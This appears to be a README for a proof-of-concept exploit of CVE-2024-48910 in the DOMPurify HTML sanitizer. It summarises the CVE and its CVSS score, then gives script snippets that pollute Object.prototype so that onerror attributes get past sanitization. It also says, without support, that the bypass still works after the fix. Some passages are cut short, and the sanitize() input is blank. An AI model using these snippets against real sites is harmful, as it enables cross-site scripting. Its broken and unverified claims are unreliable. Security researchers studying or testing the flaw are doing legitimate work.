mitchellzhou1/cve-2024-48910-pocProof-of-concept exploit for CVE-2024-48910, demonstrating prototype pollution bypass of DOMPurify XSS sanitizer to execute arbitrary JavaScript via crafted HTML attributes.
CVE-2024-48910 DOMPurify, a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG, was found to be vulnerable to prototype pollution (CVE-2024-48910). The vulnerability was discovered and fixed in version 2.4.2, with the initial disclosure made on October 31, 2024 .
The prototype pollution vulnerability in DOMPurify could allow attackers to tamper with object prototype attributes, potentially leading to security bypasses and unauthorized modifications of application behavior. The high CVSS score indicates significant potential impact on system security, particularly affecting data confidentiality and integrity
The vulnerability has been assigned a CVSS v3.1 base score of 9.1 (CRITICAL) with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. This indicates that the vulnerability can be exploited remotely with low attack complexity, requires no privileges or user interaction, and can result in high impact to both confidentiality and integrity, though without affecting availability
From Change logs, you can see a test case was added involving .__proto__., suggesting it is a prototype injection
The next line which was added was, meaning that before is was evaluating to true for anything that was truthy
XSS protection bypassed - onerror is now "allowed"
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Despite upgrading to 2.4.2, I can still get the alert() to showup... all you have to do is set
Object.prototype.hasOwnProperty = () => true; to bypass the protection LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>